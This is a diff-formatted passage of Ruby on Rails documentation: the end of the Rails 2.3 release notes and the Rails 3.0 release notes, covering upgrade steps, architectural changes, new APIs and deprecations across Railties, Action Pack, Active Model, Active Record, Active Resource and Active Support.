+The `Time` and `TimeWithZone` classes include an `xmlschema` method to return the time in an XML-friendly string. As of Rails 2.3, `TimeWithZone` supports the same argument for specifying the number of digits in the fractional second part of the returned string that `Time` does:
+
+```ruby
+>> Time.zone.now.xmlschema(6)
+=> "2009-01-16T13:00:06.13653Z"
+```
+
+* Lead Contributor: [Nicholas Dainty](http://www.workingwithrails.com/person/13536-nicholas-dainty)
+
+### JSON Key Quoting
+
+If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.
+
+### Other Active Support Changes
+
+* You can use `Enumerable#none?` to check that none of the elements match the supplied block.
+* If you're using Active Support [delegates](http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/,) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil.
+* `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`.
+* `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies).
+* Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
+* If you memoize a private method, the result will now be private.
+* `String#parameterize` accepts an optional separator: `"Quick Brown Fox".parameterize('_') => "quick_brown_fox"`.
+* `number_to_phone` accepts 7-digit phone numbers now.
+* `ActiveSupport::Json.decode` now handles `\u0000` style escape sequences.
+
+Railties
+--------
+
+In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.
+
+### Rails Metal
+
+Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
+
+* More Information:

+ * [Rails Metal: a micro-framework with the power of Rails](http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m)

+ * [What's New in Edge Rails: Rails Metal](http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal)
+
+### Application Templates
+
+Rails 2.3 incorporates Jeremy McAnally's [rg](http://github.com/jeremymcanally/rg/tree/master) application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application:
+
+```
+rake rails:template LOCATION=~/template.rb
+```
+
+This will layer the changes from the template on top of whatever code the project already contains.
+
+* Lead Contributor: [Jeremy McAnally](http://www.jeremymcanally.com/)
+* More Info:[Rails templates](http://m.onkey.org/2008/12/4/rails-templates)
+
+### Quieter Backtraces
+
+Building on Thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietbacktrace) plugin, which allows you to selectively remove lines from `Test::Unit` backtraces, Rails 2.3 implements `ActiveSupport::BacktraceCleaner` and `Rails::BacktraceCleaner` in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new applicati [...]
+
+### Faster Boot Time in Development Mode with Lazy Loading/Autoload
+
+Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
+
+You can also specify (by using the new `preload_frameworks` option) whether the core libraries should be autoloaded at startup. This defaults to `false` so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
+
+### rake gem Task Rewrite
+
+The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and [...]
+
+* Lead Contributor: [David Dollar](http://www.workingwithrails.com/person/12240-david-dollar)
+
+### Other Railties Changes
+
+* The instructions for updating a CI server to build Rails have been updated and expanded.
+* Internal Rails testing has been switched from `Test::Unit::TestCase` to `ActiveSupport::TestCase`, and the Rails core requires Mocha to test.
+* The default `environment.rb` file has been decluttered.
+* The dbconsole script now lets you use an all-numeric password without crashing.
+* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`.
+* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`).
+* Rails Guides have been converted from AsciiDoc to Textile markup.
+* Scaffolded views and controllers have been cleaned up a bit.
+* `script/server` now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
+* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
+* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
+
+Deprecated
+----------
+
+A few pieces of older code are deprecated in this release:
+
+* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin.
+* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master.)
+* Support for Rails components has been removed.
+* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
+* `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now.
+* The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect.
+* Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client.
+* `formatted_polymorphic_url` is deprecated. Use `polymorphic_url` with `:format` instead.
+* The `:http_only` option in `ActionController::Response#set_cookie` has been renamed to `:httponly`.
+* The `:connector` and `:skip_last_comma` options of `to_sentence` have been replaced by `:words_connnector`, `:two_words_connector`, and `:last_word_connector` options.
+* Posting a multipart form with an empty `file_field` control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.

+Ruby on Rails 3.0 Release Notes
+===============================
+
+Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done!
+
+But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too.
+
+Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are:
+
+* Brand new router with an emphasis on RESTful declarations
+* New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!)
+* New Active Record chainable query language built on top of relational algebra
+* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS)
+* Explicit dependency management with Bundler
+
+On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.
+
+These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+To install Rails 3:
+
+```bash
+# Use sudo if your setup requires it
+$ gem install rails
+```
+
+
+Upgrading to Rails 3
+--------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:
+
+### Rails 3 requires at least Ruby 1.8.7
+
+Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.
+
+### Rails Application object
+
+As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to `config/environment.rb` from the previous versions of Rails.
+
+Each Rails application now must have a corresponding application object. The application object is defined in `config/application.rb`. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from `config/environment.rb` to `config/application.rb`.
+
+### script/* replaced by script/rails
+
+The new `script/rails` replaces all the scripts that used to be in the `script` directory. You do not run `script/rails` directly though, the `rails` command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:
+
+```bash
+$ rails console # instead of script/console
+$ rails g scaffold post title:string # instead of script/generate scaffold post title:string
+```
+
+Run `rails --help` for a list of all the options.
+
+### Dependencies and config.gem
+
+The `config.gem` method is gone and has been replaced by using `bundler` and a `Gemfile`, see [Vendoring Gems](#vendoring-gems) below.
+
+### Upgrade Process
+
+To help with the upgrade process, a plugin named [Rails Upgrade](http://github.com/rails/rails_upgrade) has been created to automate part of it.
+
+Simply install the plugin, then run `rake rails:upgrade:check` to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a `Gemfile` based on your current `config.gem` calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:
+
+```bash
+$ ruby script/plugin install git://github.com/rails/rails_upgrade.git
+```
+
+You can see an example of how that works at [Rails Upgrade is now an Official Plugin](http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin)
+
+Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!

+
+Creating a Rails 3.0 application
+--------------------------------
+
+```bash
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](http://github.com/carlhuda/bundler,) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: - [bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command, so `rake freeze` is no longer relevant and has been dropped.
+
+If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/bin/rails new myapp --dev
+```
+
+Rails Architectural Changes
+---------------------------
+
+There are six major changes in the architecture of Rails.
+
+### Railties Restrung
+
+Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.
+
+### All Rails core components are decoupled
+
+With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.
+
+More information: - [The Great Decoupling](http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/)
+
+
+### Active Model Abstraction
+
+Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
+
+More information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/)
+
+
+### Controller Abstraction
+
+Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of `AbstractController` allowed `ActionController` and `ActionMailer` to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.
+
+More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)
+
+
+### Arel Integration
+
+[Arel](http://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.
+
+More information: - [Why I wrote Arel](http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/.)
+
+
+### Mail Extraction
+
+Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the [Mail](http://github.com/mikel/mail) gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.
+
+More information: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3)
+
+
+Documentation
+-------------
+
+The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](http://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](http://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).
+
+More Information: - [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.)
+
+
+Internationalization
+--------------------
+
+A large amount of work has been done with I18n support in Rails 3, including the latest [I18n](http://github.com/svenfuchs/i18n) gem supplying many speed improvements.
+
+* I18n for any object - I18n behavior can be added to any object by including `ActiveModel::Translation` and `ActiveModel::Validations`. There is also an `errors.messages` fallback for translations.
+* Attributes can have default translations.
+* Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.
+* Labels with I18n also now work by just passing the attribute name.
+
+More Information: - [Rails 3 I18n changes](http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/)
+
+
+Railties
+--------
+
+With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:
+
+* Each application now has its own name space, application is started with `YourAppName.boot` for example, makes interacting with other applications a lot easier.
+* Anything under `Rails.root/app` is now added to the load path, so you can make `app/observers/user_observer.rb` and Rails will load it without any modifications.
+* Rails 3.0 now provides a `Rails.config` object, which provides a central repository of all sorts of Rails wide configuration options.
+
+ Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new `--dev` flag has been added which sets the application up with the `Gemfile` pointing to your Rails checkout (which is determined by the path to the `rails` binary). See `rails --help` for more info.
+
+Railties generators got a huge amount of attention in Rails 3.0, basically:
+
+* Generators were completely rewritten and are backwards incompatible.
+* Rails templates API and generators API were merged (they are the same as the former).
+* Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling `rails generate foo` will look for `generators/foo_generator`.
+* New generators provide hooks, so any template engine, ORM, test framework can easily hook in.
+* New generators allow you to override the templates by placing a copy at `Rails.root/lib/templates`.
+* `Rails::Generators::TestCase` is also supplied so you can create your own generators and test them.
+
+Also, the views generated by Railties generators had some overhaul:
+
+* Views now use `div` tags instead of `p` tags.
+* Scaffolds generated now make use of `_form` partials, instead of duplicated code in the edit and new views.
+* Scaffold forms now use `f.submit` which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.
+
+Finally a couple of enhancements were added to the rake tasks:
+
+* `rake db:forward` was added, allowing you to roll forward your migrations individually or in groups.
+* `rake routes CONTROLLER=x` was added allowing you to just view the routes for one controller.
+
+Railties now deprecates:
+
+* `RAILS_ROOT` in favor of `Rails.root`,
+* `RAILS_ENV` in favor of `Rails.env`, and
+* `RAILS_DEFAULT_LOGGER` in favor of `Rails.logger`.
+
+`PLUGIN/rails/tasks`, and `PLUGIN/tasks` are no longer loaded all tasks now must be in `PLUGIN/lib/tasks`.

+* [The Rails Module (in Rails 3)](http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/)
+
+Action Pack
+-----------
+
+There have been significant internal and external changes in Action Pack.
+
+
+### Abstract Controller
+
+Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed `ActionMailer::Base` to now just inherit from `AbstractController` and just wrap the Rails DSL onto the Mail gem.
+
+It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.
+
+Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.
+
+More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)
+
+
+### Action Controller
+
+* `application_controller.rb` now has `protect_from_forgery` on by default.
+* The `cookie_verifier_secret` has been deprecated and now instead it is assigned through `Rails.application.config.cookie_secret` and moved into its own file: `config/initializers/cookie_verification_secret.rb`.
+* The `session_store` was configured in `ActionController::Base.session`, and that is now moved to `Rails.application.config.session_store`. Defaults are set up in `config/initializers/session_store.rb`.
+* `cookies.secure` allowing you to set encrypted values in cookies with `cookie.secure[:key] => value`.
+* `cookies.permanent` allowing you to set permanent values in the cookie hash `cookie.permanent[:key] => value` that raise exceptions on signed values if verification failures.
+* You can now pass `:notice => 'This is a flash message'` or `:alert => 'Something went wrong'` to the `format` call inside a `respond_to` block. The `flash[]` hash still works as previously.
+* `respond_with` method has now been added to your controllers simplifying the venerable `format` blocks.
+* `ActionController::Responder` added allowing you flexibility in how your responses get generated.
+
+Deprecations:
+
+* `filter_parameter_logging` is deprecated in favor of `config.filter_parameters << :password`.

+* [Three reasons to love ActionController::Responder](http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder)
+
+
+### Action Dispatch
+
+Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.
+
+* Big clean up and re-write of the router, the Rails router is now `rack_mount` with a Rails DSL on top, it is a stand alone piece of software.
+* Routes defined by each application are now name spaced within your Application module, that is:
+
+ ```ruby
+ # Instead of:
+
+ ActionController::Routing::Routes.draw do |map|
+ map.resources :posts
+ end
+
+ # You do:
+
+ AppName::Application.routes do
+ resources :posts
+ end
+ ```
+
+* Added `match` method to the router, you can also pass any Rack application to the matched route.
+* Added `constraints` method to the router, allowing you to guard routers with defined constraints.
+* Added `scope` method to the router, allowing you to namespace routes for different languages or different actions, for example:
+
+ ```ruby
+ scope 'es' do
+ resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
+ end
+
+ # Gives you the edit action with /es/proyecto/1/cambiar
+ ```
+
+* Added `root` method to the router as a short cut for `match '/', :to => path`.
+* You can pass optional segments into the match, for example `match "/:controller(/:action(/:id))(.:format)"`, each parenthesized segment is optional.
+* Routes can be expressed via blocks, for example you can call `controller :home { match '/:action' }`.
+
+NOTE. The old style `map` commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.
+
+Deprecations
+
+* The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out.
+* Routes :path\_prefix no longer exists and :name\_prefix now automatically adds "\_" at the end of the given value.

+* [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/)
+
+
+### Action View
+
+#### Unobtrusive JavaScript
+
+Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.
+
+What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](http://github.com/rails/prototype_legacy_helper.) To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example:
+
+```ruby
+form_for @post, :remote => true
+```
+
+Produces:
+
+```html
+<form action="http://host.com" id="create-post" method="post" data-remote="true">
+```
+
+#### Helpers with Blocks
+
+Helpers like `form_for` or `div_for` that insert content from a block use `<%=` now:
+
+```html+erb
+<%= form_for @post do |f| %>
+ ...
+<% end %>
+```
+
+Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.
+
+Helpers that do something else, like `cache` or `content_for`, are not affected by this change, they need `<%` as before.
+
+#### Other Changes
+
+* You no longer need to call `h(string)` to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call `raw(string)`.
+* Helpers now output HTML 5 by default.
+* Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation.
+* I18n select label on should now be :en.helpers.select instead of :en.support.select.
+* You no longer need to place a minus sign at the end of a ruby interpolation inside an ERb template to remove the trailing carriage return in the HTML output.
+* Added `grouped_collection_select` helper to Action View.
+* `content_for?` has been added allowing you to check for the existence of content in a view before rendering.
+* passing `:value => nil` to form helpers will set the field's `value` attribute to nil as opposed to using the default value
+* passing `:id => nil` to form helpers will cause those fields to be rendered with no `id` attribute
+* passing `:alt => nil` to `image_tag` will cause the `img` tag to render with no `alt` attribute
+
+Active Model
+------------
+
+Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.
+
+
+### ORM Abstraction and Action Pack Interface
+
+Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
+
+More Information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/)
+
+
+### Validations
+
+Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.
+
+* There is now a `validates :attribute, options_hash` shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.
+* The `validates` method has the following options:
+ * `:acceptance => Boolean`.
+ * `:confirmation => Boolean`.
+ * `:exclusion => { :in => Enumerable }`.
+ * `:inclusion => { :in => Enumerable }`.
+ * `:format => { :with => Regexp, :on => :create }`.
+ * `:length => { :maximum => Fixnum }`.
+ * `:numericality => Boolean`.
+ * `:presence => Boolean`.
+ * `:uniqueness => Boolean`.
+
+NOTE: All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.
+
+You can also pass in a validator object, which you can then reuse between objects that use Active Model:
+
+```ruby
+class TitleValidator < ActiveModel::EachValidator
+ Titles = ['Mr.', 'Mrs.', 'Dr.']
+ def validate_each(record, attribute, value)
+ unless Titles.include?(value)
+ record.errors[attribute] << 'must be a valid title'
+ end
+ end
+end
+```
+
+```ruby
+class Person
+ include ActiveModel::Validations
+ attr_accessor :title
+ validates :title, :presence => true, :title => true
+end
+
+# Or for Active Record
+
+class Person < ActiveRecord::Base
+ validates :title, :presence => true, :title => true
+end
+```
+
+There's also support for introspection:
+
+```ruby
+User.validators
+User.validators_on(:login)
+```

+
+
+Active Record
+-------------
+
+Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.
+
+
+### Query Interface
+
+Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:
+
+* `where` - provides conditions on the relation, what gets returned.
+* `select` - choose what attributes of the models you wish to have returned from the database.
+* `group` - groups the relation on the attribute supplied.
+* `having` - provides an expression limiting group relations (GROUP BY constraint).
+* `joins` - joins the relation to another table.
+* `clause` - provides an expression limiting join relations (JOIN constraint).
+* `includes` - includes other relations pre-loaded.
+* `order` - orders the relation based on the expression supplied.
+* `limit` - limits the relation to the number of records specified.
+* `lock` - locks the records returned from the table.
+* `readonly` - returns an read only copy of the data.
+* `from` - provides a way to select relationships from more than one table.
+* `scope` - (previously `named_scope`) return relations and can be chained together with the other relation methods.
+* `with_scope` - and `with_exclusive_scope` now also return relations and so can be chained.
+* `default_scope` - also works with relations.

+* [Let your SQL Growl in Rails 3](http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/)
+
+
+### Enhancements
+
+* Added `:destroyed?` to Active Record objects.
+* Added `:inverse_of` to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.
+
+
+### Patches and Deprecations
+
+Additionally, many fixes in the Active Record branch:
+
+* SQLite 2 support has been dropped in favor of SQLite 3.
+* MySQL support for column order.
+* PostgreSQL adapter has had its `TIME ZONE` support fixed so it no longer inserts incorrect values.
+* Support multiple schemas in table names for PostgreSQL.
+* PostgreSQL support for the XML data type column.
+* `table_name` is now cached.
+* A large amount of work done on the Oracle adapter as well with many bug fixes.
+
+As well as the following deprecations:
+
+* `named_scope` in an Active Record class is deprecated and has been renamed to just `scope`.
+* In `scope` methods, you should move to using the relation methods, instead of a `:conditions => {}` finder method, for example `scope :since, lambda {|time| where("created_at > ?", time) }`.
+* `save(false)` is deprecated, in favor of `save(:validate => false)`.
+* I18n error messages for ActiveRecord should be changed from :en.activerecord.errors.template to `:en.errors.template`.
+* `model.errors.on` is deprecated in favor of `model.errors[]`
+* validates_presence_of => validates... :presence => true
+* `ActiveRecord::Base.colorize_logging` and `config.active_record.colorize_logging` are deprecated in favor of `Rails::LogSubscriber.colorize_logging` or `config.colorize_logging`
+
+NOTE: While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.
+
+
+Active Resource
+---------------
+
+Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.
+
+* Added validations through Active Model.
+* Added observing hooks.
+* HTTP proxy support.
+* Added support for digest authentication.
+* Moved model naming into Active Model.
+* Changed Active Resource attributes to a Hash with indifferent access.
+* Added `first`, `last` and `all` aliases for equivalent find scopes.
+* `find_every` now does not return a `ResourceNotFound` error if nothing returned.
+* Added `save!` which raises `ResourceInvalid` unless the object is `valid?`.
+* `update_attribute` and `update_attributes` added to Active Resource models.
+* Added `exists?`.
+* Renamed `SchemaDefinition` to `Schema` and `define_schema` to `schema`.
+* Use the `format` of Active Resources rather than the `content-type` of remote errors to load errors.
+* Use `instance_eval` for schema block.
+* Fix `ActiveResource::ConnectionError#to_s` when `@response` does not respond to #code or #message, handles Ruby 1.9 compatibility.
+* Add support for errors in JSON format.
+* Ensure `load` works with numeric arrays.
+* Recognizes a 410 response from remote resource as the resource has been deleted.
+* Add ability to set SSL options on Active Resource connections.
+* Setting connection timeout also affects `Net::HTTP` `open_timeout`.
+
+Deprecations:
+
+* `save(false)` is deprecated, in favor of `save(:validate => false)`.
+* Ruby 1.9.2: `URI.parse` and `.decode` are deprecated and are no longer used in the library.
+
+
+Active Support
+--------------
+
+A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.
+
+These are the main changes in Active Support:
+
+* Large clean up of the library removing unused methods throughout.
+* Active Support no longer provides vendored versions of [TZInfo](http://tzinfo.rubyforge.org/), [Memcache Client](http://deveiate.org/projects/RMemCache/) and [Builder](http://builder.rubyforge.org/,) these are all included as dependencies and installed via the `bundle install` command.
+* Safe buffers are implemented in `ActiveSupport::SafeBuffer`.
+* Added `Array.uniq_by` and `Array.uniq_by!`.
+* Removed `Array#rand` and backported `Array#sample` from Ruby 1.9.
+* Fixed bug on `TimeZone.seconds_to_utc_offset` returning wrong value.
+* Added `ActiveSupport::Notifications` middleware.
+* `ActiveSupport.use_standard_json_time_format` now defaults to true.
+* `ActiveSupport.escape_html_entities_in_json` now defaults to false.
+* `Integer#multiple_of?` accepts zero as an argument, returns false unless the receiver is zero.
+* `string.chars` has been renamed to `string.mb_chars`.
+* `ActiveSupport::OrderedHash` now can de-serialize through YAML.
+* Added SAX-based parser for XmlMini, using LibXML and Nokogiri.
+* Added `Object#presence` that returns the object if it's `#present?` otherwise returns `nil`.
+* Added `String#exclude?` core extension that returns the inverse of `#include?`.
+* Added `to_i` to `DateTime` in `ActiveSupport` so `to_yaml` works correctly on models with `DateTime` attributes.
+* Added `Enumerable#exclude?` to bring parity to `Enumerable#include?` and avoid if `!x.include?`.
+* Switch to on-by-default XSS escaping for rails.
+* Support deep-merging in `ActiveSupport::HashWithIndifferentAccess`.
+* `Enumerable#sum` now works will all enumerables, even if they don't respond to `:size`.
+* `inspect` on a zero length duration returns '0 seconds' instead of empty string.
+* Add `element` and `collection` to `ModelName`.
+* `String#to_time` and `String#to_datetime` handle fractional seconds.
+* Added support to new callbacks for around filter object that respond to `:before` and `:after` used in before and after callbacks.
+* The `ActiveSupport::OrderedHash#to_a` method returns an ordered set of arrays. Matches Ruby 1.9's `Hash#to_a`.
+* `MissingSourceFile` exists as a constant but it is now just equals to `LoadError`.
+* Added `Class#class_attribute`, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.
+* Finally removed `DeprecatedCallbacks` in `ActiveRecord::Associations`.
+* `Object#metaclass` is now `Kernel#singleton_class` to match Ruby.
+
+The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.
+
+* `Integer#even?` and `Integer#odd?`
+* `String#each_char`
+* `String#start_with?` and `String#end_with?` (3rd person aliases still kept)
+* `String#bytesize`
+* `Object#tap`
+* `Symbol#to_proc`
+* `Object#instance_variable_defined?`
+* `Enumerable#none?`
+
